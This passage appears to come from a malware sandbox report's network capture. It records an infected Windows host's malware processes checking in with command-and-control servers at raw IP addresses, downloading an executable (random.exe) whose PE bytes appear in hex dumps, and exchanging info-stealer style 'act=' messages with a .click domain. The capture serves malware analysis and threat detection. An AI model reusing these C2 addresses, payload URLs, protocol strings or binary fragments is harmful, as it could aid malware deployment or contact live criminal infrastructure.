b5 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 b5 00 00 04 00 00 dd 44 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 45 b5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 45 b5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2`PD@DD@ _asaEE pa>(@.rsrcaN(@.idata aP(@ @8aR(@liphicakpjT(@gjmnxrkjPC@.taggant0`"C@
Dec 18, 2024 19:08:44.519825935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:44.519840002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:44.520167112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:44.520179033 CET	896	IN	Data Raw: 24 2d 9d 1e 2f d4 50 af 43 7c 1e 35 95 bc 2d 0e 70 fa 89 7a 70 6e 69 ad 65 3c 7d 43 a7 21 04 27 7c 0d b4 76 aa 8a 5a 66 5e 82 b9 bb 5a 9a 9a 1e 72 90 13 27 15 9f 55 ad f7 a0 e8 ac 63 6a e8 a1 1b 4b 95 f5 cc 81 7e 44 7f e2 33 6e ce 67 da ac 1f ad Data Ascii: $-/PC\|5-pzpnie<}C!'\|vZf^Zr'UcjK~D3ngz#r"b5'NxrW.+QW&z)!WW9QbmBfW[)^_+M9Y)Y'H@4f:>b_6>if1cn1!{mO`46#V
Dec 18, 2024 19:08:44.520345926 CET	1236	IN	Data Raw: 07 f4 95 df 75 9b 8b f9 6a 77 2c 02 e1 04 e4 8e 2e c5 d8 5d a1 4b d2 a6 33 42 d4 3a 3b 21 70 4f c4 f3 49 d4 2d e2 ce 8a 68 f9 9b 9f f7 8d 5d 90 af 0d 79 37 c6 87 3d cd 35 9d 68 ee 33 d3 fb 92 a2 fb d1 a0 c1 c7 65 aa 83 27 a0 bd ef 3c d9 78 49 7a Data Ascii: ujw,.]K3B:;!pOI-h]y7=5h3e'<xIzVg1uJv>5i"l~{]USq\Ca<4dn+$h,3F)-v]$eZP\|vmsAu}K05~+Kcm/f` E\|;)/:sF.f^M!k!
Dec 18, 2024 19:08:44.520363092 CET	1236	IN	Data Raw: 10 72 50 3a 67 e6 16 ec bf 70 22 37 ac 5d a3 f7 31 e0 3e 44 41 e2 43 22 46 9d 45 6c a9 30 eb 1b b7 27 d0 8a a3 4f fb a5 5e a7 55 ee 08 f7 7e e6 4e c8 68 18 81 aa 2a 8b d6 3c ea 31 06 79 2f 39 1b 1f 79 f2 d4 7d f6 21 12 cb 04 00 c1 93 46 a2 bc 6a Data Ascii: rP:gp"7]1>DAC"FEl0'O^U~Nh*<1y/9y}!Fjo)2])wiEf_gC.e{avJR<0i/ze!y2y)pRsVSR![~v(GB7iJZ0h^R=B]`$F_(5
Dec 18, 2024 19:08:44.520762920 CET	1236	IN	Data Raw: 04 73 f3 5a fd 26 ae 95 52 c0 1d 9c ff 59 34 0c 64 e2 20 69 c2 3e c8 2f 6f c7 08 cb 53 f3 a9 cd 98 95 66 58 3f 3b 0f c2 36 4c 3d c1 3e 6b ad 57 6c 37 f6 0a c0 ad 7e 23 d6 a6 1a 9d 6f fe f9 01 54 07 87 2e 7e c6 2d 99 8c 8a e8 ec 6c 20 1a f9 31 21 Data Ascii: sZ&RY4d i>/oSfX?;6L=>kWl7~#oT.~-l 1!nE"*Gc`V0'<MkdFLu(so)O\L@lWZCd$)H\|kZ9ub>hW0 T+Z=]&kv^XOW^0o6-ja+I
Dec 18, 2024 19:08:44.520775080 CET	1236	IN	Data Raw: 97 0d 8d cc 5f 22 71 9a 7f 86 f4 27 0f ac 26 e3 c4 fd 86 a6 bd d7 98 5c 95 38 e3 a4 6d 89 99 e9 57 9d 20 f1 45 7c c5 1c ff e7 16 4c 06 bd 5b 40 80 33 19 24 e4 2e 43 81 e6 99 69 cf 72 fc 50 10 1c 8d 18 b5 75 81 59 36 5e 3c 26 4f 9c 82 aa 9d 52 ce Data Ascii: _"q'&\8mW E\|L[@3$.CirPuY6^<&OR<Ci8tF%d1a^yUS7rf5zDC}DDO6H",(W\OdM&Rr]vh8~6]7j!cRXMR};!YXFX<
Dec 18, 2024 19:08:44.520786047 CET	1236	IN	Data Raw: 0f 53 c9 2a 63 57 db 27 09 19 1c 07 3f 5b 1b d6 f8 04 65 c5 82 e2 31 85 e6 8f 3e ae 94 98 71 8f cb 49 61 f7 c9 f3 6a 42 0f 17 c4 2f f0 b2 f9 f5 f1 5a f8 7e e8 64 96 b3 4b 7c c1 ff 8a fa db a3 15 9f 3c ac 21 68 98 81 0b 2b 34 79 91 92 36 27 ae 92 Data Ascii: ScW'?[e1>qIajB/Z~dK\|<!h+4y6'Tu#1`{=yDRF8^SLQGm9@{:],U#@"=/ND-g/[e]O\|Fd y'r%=X/SK
Dec 18, 2024 19:08:44.642743111 CET	1236	IN	Data Raw: 0d 8f fb 55 5f f4 60 df bc d5 f0 1b 16 d7 b9 84 68 ff 9c 65 ea 1f d1 ec 3c 89 3e 31 bb bb 9e aa a4 ea 69 79 bb 4a 2c 50 67 56 5c f5 a3 e1 f1 b5 97 e4 4b 9e bb ff e5 36 91 18 3c 01 2c 48 f9 a8 f6 e7 2d 82 07 ea 3f f5 80 72 96 ad 79 6d 2b a5 e5 50 Data Ascii: U_`he<>1iyJ,PgV\K6<,H-?rym+Pj&)uC))n!@RN5rS+'y#;*CJ,soF\|!)SY9\h&0%{d][QQg{HS1^K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49745	185.215.113.43	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:56.354602098 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 30 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017014001&unit=246122658369
Dec 18, 2024 19:08:57.685631037 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49746	185.215.113.16	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:57.812613964 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 19:08:59.156810999 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:58 GMT Content-Type: application/octet-stream Content-Length: 1826816 Last-Modified: Wed, 18 Dec 2024 17:36:18 GMT Connection: keep-alive ETag: "67630812-1be000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 70 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 48 00 00 04 00 00 cd 55 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gpH@HU@T0h 1 H@.rsrc X@.idata 0\@ )@^@vkhwstep`/Z`@lvdrqtey`H@.taggant0pH"@
Dec 18, 2024 19:08:59.156837940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:59.156850100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:59.157109022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:59.157121897 CET	1236	IN	Data Raw: 21 64 c4 ea d5 05 4b 16 fe 3b 69 36 de 1b bb ce a8 4b 20 32 4c e4 47 4b 8d 88 12 9a 6d 4a 2d 51 19 74 a2 41 d3 30 45 79 5c 84 52 33 e4 5c 67 48 d7 cb 4b f9 45 7d 2d 57 a4 fb 68 7a 8f 13 67 6f e2 36 34 68 58 42 1e 08 9b b1 a5 75 63 69 1f b5 9e 60 Data Ascii: !dK;i6K 2LGKmJ-QtA0Ey\R3\gHKE}-Whzgo64hXBuci`z'!heD-R"t@j/sKDp[.?qs:Hi4_Y.RwHjt[j/HG'EctcvHsRBL(!`eHj/[xQ
Dec 18, 2024 19:08:59.157130957 CET	1120	IN	Data Raw: dd fa 88 79 9f 2a 24 ed 4d c9 2d f7 b3 d2 e0 90 78 2c 48 56 01 68 0b 02 5b 2a e8 35 10 00 2b 4d 25 ce 81 5c 9b 38 f9 c5 c1 ac 68 36 6f 43 45 38 6b 2c 6b 09 67 e8 66 2d 2a fc bc d0 36 52 f6 7b 8f 84 8d 07 3a 3e a2 d7 8c 58 40 7a a5 34 6b 4e 7d 9c Data Ascii: y$M-x,HVh[5+M%\8h6oCE8k,kgf-*6R{:>X@z4kN}jMM4x9e"[5IDM)x: +(MYp_?3ji&4@)@zqnRVD\-(3siI,cf6#DTtBKX+kAWNEi=
Dec 18, 2024 19:08:59.157145977 CET	1236	IN	Data Raw: ec 90 2e 3a 19 fc 32 90 b2 33 c8 2d 93 c0 31 4c dd eb ad 35 63 c6 a8 9e a6 5a ef a4 9a 7a a0 6c aa c5 76 53 54 0a 45 61 fa bd c2 d3 33 4e c9 56 d5 c2 5f 9e 62 57 01 7a 36 6c 97 8b 70 bf ed bb 43 e2 a2 0a 58 eb 98 ba f9 fb e0 4c ea d5 dd 48 9e 38 Data Ascii: .:23-1L5cZzlvSTEa3NV_bWz6lpCXLH8U5a:Ot3ZA*ND-U/_]U?2t0%p\I~<2cce[MW=ZU4H0pZtY7GrZQtEYQ "zv/p(
Dec 18, 2024 19:08:59.157157898 CET	1236	IN	Data Raw: 6a ed b0 23 1d 92 00 f7 17 4e f4 6f c6 c6 25 1d 5d 58 cb 35 96 70 ef 30 75 fd c1 7a 1b 13 4e c0 f8 69 32 7f 7d 74 b1 07 b3 81 79 28 61 fa d2 b8 99 58 f0 5d dc 8b 5e c8 4b 8b f9 65 bf 3c f8 0b da c0 50 3f 22 23 3c c5 5b 8e 00 53 e4 c6 0d 30 99 38 Data Ascii: j#No%]X5p0uzNi2}ty(aX]^Ke<P?"#<[S08?e(%\|dw!G,q3,H/)}nSm.wg8D\E)wF0/ '6`K9Y>e_Tl\eW{kk(>mPI.Av&`&r1K~*dVg,3
Dec 18, 2024 19:08:59.157821894 CET	1236	IN	Data Raw: 4b d5 b9 cb a4 09 c3 88 d3 c3 eb b7 ca 56 cc 68 92 7f 08 d2 a9 4a 3d 4d ed 66 30 19 f0 c6 f4 71 5c 8a ab 55 71 c8 54 32 5c bf ed bc 5e 81 97 74 78 73 ec 9d 20 f8 ff 47 a5 2f 52 38 98 b2 2d 49 a9 a7 2c 43 2f e1 87 d9 d7 24 51 0f 3d 22 ac 92 00 63 Data Ascii: KVhJ=Mf0q\UqT2\^txs G/R8-I,C/$Q="cTE_Is=K-ToEP\|'JbO->Udui/#=8+Si8)'YeW"0"fQ6?LJ<;ue;&a_rKa']v.f0jQ`]FrpH]Z,&k=I
Dec 18, 2024 19:08:59.157834053 CET	1236	IN	Data Raw: d9 14 c1 d1 8c 80 14 01 5c 63 c6 5d 33 2a d7 bc af 68 b0 8c 85 7c 65 d1 76 42 68 22 cb 15 d3 25 81 13 19 50 a4 4d 2d 07 60 be fd 0d 04 36 5c 5f 24 d8 d3 7b 99 60 d6 d9 07 88 40 66 44 ef 0d 5a 84 13 93 c0 e8 b5 37 c3 fe e8 9a 3f 44 d5 10 28 77 43 Data Ascii: \c]3*h\|evBh"%PM-`6\_${`@fDZ7?D(wCwC}:i3v&mdQi9[]LCE}s[9"R]+=\|=eL:[K>3k{<zbAxjrd\|#l7XD2sh_A_jj\|dJv`
Dec 18, 2024 19:08:59.276774883 CET	1236	IN	Data Raw: 0e a5 f8 85 b7 79 22 95 18 13 f3 43 c8 3c 16 84 c4 fb 56 24 a2 19 84 3c 6d 39 4b ae 56 9b b8 66 88 cb 18 bc dd 7f 80 35 1e 82 fb 46 b8 0d 27 b9 44 ec 33 b8 32 75 5f ec cd 09 24 92 3f 7c 0f c4 43 68 30 f2 ac 17 81 5b 6e b9 af 47 1a bf 15 6c 8b 99 Data Ascii: y"C<V$<m9KVf5F'D32u_$?\|Ch0[nGli'lmv&\|hY4tl~?V{aJb['<(Y-GLBM6yeIGWB'DD%&HQC]eM;l!-DDX?b[)^9/Eb;`9poZ9-+

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49721	172.67.131.246	443	8060	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:19 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lossekniyyt.click
2024-12-18 18:08:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 18:08:23 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0s5c2krvdiohsprhcqhqnh8bqa; expires=Sun, 13-Apr-2025 11:55:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3bSKbJEu9va8tAGoDjsYzvVanSm4RmdlR4Zv8KN6oYFCqOhvvABc3itEbyN5EBx%2BdCnVrplRy9VARrBNXmtQCOEjpE9yQTg0Gal1exU4K0f2vmuYGue05yPJ9Okpgxf1Sx7ZcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4118f9dc278c51-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2369&min_rtt=1978&rtt_var=1524&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2841&recv_bytes=908&delivery_rate=571764&cwnd=234&unsent_bytes=0&cid=f52480b78aa5fc0d&ts=4605&x=0"
2024-12-18 18:08:23 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 18:08:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49724	172.67.131.246	443	8060	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: lossekniyyt.click
2024-12-18 18:08:25 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=9Z1cyc--&j=
2024-12-18 18:08:31 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=if5b9d520pk0am1cagvmlr5gbh; expires=Sun, 13-Apr-2025 11:55:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X7OR6tYdWambBwIMfm53HgykUVcx58E9OzoDcTzCFuaBu6u1f3PR4i6WHPKH6ygcyO2C0JXK9FsDI0YSIFRi1s4bRLyyKxmPHKz3reTQw92IP9XZtz7LHMy72SoqrjTgcESrbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119204de7c347-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1685&rtt_var=706&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=943&delivery_rate=1732937&cwnd=187&unsent_bytes=0&cid=4c1197d337695b5b&ts=6864&x=0"
2024-12-18 18:08:31 UTC	334	IN	Data Raw: 63 63 62 0d 0a 64 64 7a 4a 49 36 30 36 7a 6d 36 7a 35 77 56 78 73 38 53 42 72 50 54 51 64 53 37 41 72 74 34 46 63 61 42 69 4d 6e 7a 4b 4d 33 30 4f 2f 72 38 42 6c 77 37 69 54 4d 43 43 4a 30 76 48 74 76 54 4a 32 50 49 55 53 75 4b 55 75 47 51 64 30 77 63 65 58 72 78 65 58 30 2b 36 71 45 2f 65 58 2b 4a 4d 31 70 38 6e 53 2b 69 2f 6f 38 6d 61 38 6b 38 4d 70 63 53 38 5a 42 33 43 41 31 6b 54 75 6c 38 65 48 62 43 75 53 38 68 5a 71 67 2f 66 69 6d 41 55 31 71 58 72 77 70 32 39 48 55 50 69 67 76 78 67 43 34 4a 59 45 44 47 76 52 78 77 34 76 62 70 49 6a 30 66 69 46 5a 47 43 61 31 4f 4a 35 75 44 4a 6c 72 77 54 53 71 76 47 74 6d 30 56 77 77 5a 59 44 4b 4e 56 46 52 32 2b 72 55 72 43 55 4c 34 43 31 59 31 72 45 74 79 6c 6f 34 44 57 74 51 38 4d 2b 6f 7a 76 56 52 44 54 45 55 Data Ascii: ccbddzJI606zm6z5wVxs8SBrPTQdS7Art4FcaBiMnzKM30O/r8Blw7iTMCCJ0vHtvTJ2PIUSuKUuGQd0wceXrxeX0+6qE/eX+JM1p8nS+i/o8ma8k8MpcS8ZB3CA1kTul8eHbCuS8hZqg/fimAU1qXrwp29HUPigvxgC4JYEDGvRxw4vbpIj0fiFZGCa1OJ5uDJlrwTSqvGtm0VwwZYDKNVFR2+rUrCUL4C1Y1rEtylo4DWtQ8M+ozvVRDTEU
2024-12-18 18:08:31 UTC	1369	IN	Data Raw: 58 5a 54 33 55 35 4a 58 71 39 64 58 30 2f 2b 72 55 2f 4f 56 61 77 65 32 59 35 73 46 73 4f 74 36 73 4f 62 73 68 70 47 72 63 2b 38 59 42 6e 49 44 31 6f 61 70 56 77 5a 46 37 37 72 44 34 39 66 74 45 79 4a 78 55 51 57 77 61 48 76 32 4e 53 49 56 31 50 73 31 66 78 67 48 34 4a 59 45 42 61 74 55 68 77 63 73 61 68 4a 78 45 71 73 48 74 65 49 59 67 48 58 6f 2b 33 45 6c 61 41 64 51 71 54 50 74 57 77 61 78 77 64 55 58 75 59 52 47 41 2f 2b 38 77 48 75 56 61 63 41 32 35 4a 6e 55 38 37 6f 2b 6f 36 52 76 6c 63 55 34 73 69 39 59 78 4c 47 44 6c 34 61 70 46 63 52 47 72 47 74 53 38 39 66 70 67 54 5a 68 47 6f 59 33 71 62 6d 77 35 4b 30 47 30 32 6e 6a 50 49 6e 46 4e 70 41 43 46 36 47 56 68 77 46 2f 4a 35 43 77 56 61 72 47 70 47 61 4b 51 71 52 6f 65 2b 4f 7a 76 49 5a 53 61 33 65 Data Ascii: XZT3U5JXq9dX0/+rU/OVawe2Y5sFsOt6sObshpGrc+8YBnID1oapVwZF77rD49ftEyJxUQWwaHv2NSIV1Ps1fxgH4JYEBatUhwcsahJxEqsHteIYgHXo+3ElaAdQqTPtWwaxwdUXuYRGA/+8wHuVacA25JnU87o+o6RvlcU4si9YxLGDl4apFcRGrGtS89fpgTZhGoY3qbmw5K0G02njPInFNpACF6GVhwF/J5CwVarGpGaKQqRoe+OzvIZSa3e
2024-12-18 18:08:31 UTC	1369	IN	Data Raw: 55 59 45 45 62 6f 59 41 67 63 2f 4a 35 43 77 56 61 72 47 70 47 61 4b 51 71 52 6f 65 2b 4f 7a 76 49 61 52 4b 66 4a 73 32 59 5a 7a 41 56 61 45 71 42 66 48 41 57 78 72 30 48 44 55 4b 59 42 33 34 46 76 47 74 71 74 35 63 36 58 75 46 63 43 34 73 75 6b 4a 30 75 43 4e 46 63 53 70 56 35 64 49 72 32 6c 54 38 68 4f 37 42 4f 66 6e 43 63 55 33 65 61 37 6a 70 71 37 46 30 65 6f 79 4c 78 67 48 73 63 44 56 78 32 6c 56 68 55 5a 75 61 39 4e 78 6c 57 71 44 4e 61 42 59 67 48 55 72 2b 2f 43 31 76 78 58 53 37 71 4d 35 43 63 38 78 52 5a 54 4d 61 74 41 46 6c 65 68 35 56 69 50 58 36 42 4d 69 63 56 67 46 74 6d 74 35 63 61 57 6f 42 4a 43 71 63 32 32 59 52 4c 50 44 46 59 65 71 56 45 5a 47 37 36 73 52 74 31 4b 71 51 72 44 6a 79 64 64 6b 61 48 37 6a 73 37 79 49 56 79 31 33 61 6f 6c 4a Data Ascii: UYEEboYAgc/J5CwVarGpGaKQqRoe+OzvIaRKfJs2YZzAVaEqBfHAWxr0HDUKYB34FvGtqt5c6XuFcC4sukJ0uCNFcSpV5dIr2lT8hO7BOfnCcU3ea7jpq7F0eoyLxgHscDVx2lVhUZua9NxlWqDNaBYgHUr+/C1vxXS7qM5Cc8xRZTMatAFleh5ViPX6BMicVgFtmt5caWoBJCqc22YRLPDFYeqVEZG76sRt1KqQrDjyddkaH7js7yIVy13aolJ
2024-12-18 18:08:31 UTC	210	IN	Data Raw: 57 70 31 34 62 47 62 69 74 54 4d 70 58 70 68 37 5a 69 32 6f 59 33 71 33 78 7a 70 75 32 47 30 69 71 78 37 59 6e 58 59 49 48 53 46 37 77 45 53 6f 61 73 61 74 43 32 52 69 7a 51 73 6a 46 59 42 2b 52 2f 71 50 43 6d 4c 49 59 51 4b 37 48 74 47 59 66 7a 41 64 56 46 36 42 5a 44 52 61 36 6f 30 44 42 56 36 30 49 31 49 42 6a 46 4e 57 67 37 49 37 59 38 68 42 55 34 70 54 38 53 44 54 33 51 6e 45 6b 36 45 35 52 44 76 36 73 54 59 38 41 37 41 44 53 69 57 38 63 31 36 2f 76 78 4a 2b 35 47 30 65 6d 77 4c 56 69 46 63 4d 46 56 52 2b 73 58 52 55 52 76 61 68 4f 77 46 65 6b 54 4a 2f 46 59 41 75 52 2f 71 50 72 67 62 6b 5a 53 75 4c 54 38 6e 35 0d 0a Data Ascii: Wp14bGbitTMpXph7Zi2oY3q3xzpu2G0iqx7YnXYIHSF7wESoasatC2RizQsjFYB+R/qPCmLIYQK7HtGYfzAdVF6BZDRa6o0DBV60I1IBjFNWg7I7Y8hBU4pT8SDT3QnEk6E5RDv6sTY8A7ADSiW8c16/vxJ+5G0emwLViFcMFVR+sXRURvahOwFekTJ/FYAuR/qPrgbkZSuLT8n5
2024-12-18 18:08:31 UTC	1369	IN	Data Raw: 33 63 35 31 0d 0a 54 78 51 77 51 52 75 68 64 46 68 47 34 72 6b 33 4f 58 71 51 4a 32 59 46 6d 46 64 65 6c 37 4d 71 54 73 78 68 49 72 73 4b 32 5a 68 4c 4f 43 31 38 56 72 52 46 52 56 37 6d 7a 41 5a 63 59 6e 51 2f 48 6b 6e 63 66 6b 62 6d 74 31 39 61 31 47 77 7a 36 6a 4c 31 31 47 63 67 4f 56 52 47 74 55 68 41 51 73 36 31 4e 78 56 47 6b 43 74 36 4d 64 52 44 64 71 4f 54 41 6d 72 77 61 52 71 48 42 2f 43 6c 54 78 52 67 51 52 75 68 39 47 42 71 51 6f 45 33 49 47 4c 4e 43 79 4d 56 67 48 35 48 2b 6f 38 4b 63 76 68 35 4d 71 38 6d 30 62 42 72 48 41 56 73 62 71 31 63 53 47 4c 65 35 53 38 78 57 72 77 44 64 67 32 59 51 77 36 37 71 6a 74 6a 79 45 46 54 69 6c 50 78 47 48 63 38 55 56 77 37 6f 54 6c 45 4f 2f 71 78 4e 6a 77 44 73 44 39 43 4b 5a 42 4c 63 6f 4f 72 47 6c 72 51 53 Data Ascii: 3c51TxQwQRuhdFhG4rk3OXqQJ2YFmFdel7MqTsxhIrsK2ZhLOC18VrRFRV7mzAZcYnQ/Hkncfkbmt19a1Gwz6jL11GcgOVRGtUhAQs61NxVGkCt6MdRDdqOTAmrwaRqHB/ClTxRgQRuh9GBqQoE3IGLNCyMVgH5H+o8Kcvh5Mq8m0bBrHAVsbq1cSGLe5S8xWrwDdg2YQw67qjtjyEFTilPxGHc8UVw7oTlEO/qxNjwDsD9CKZBLcoOrGlrQS
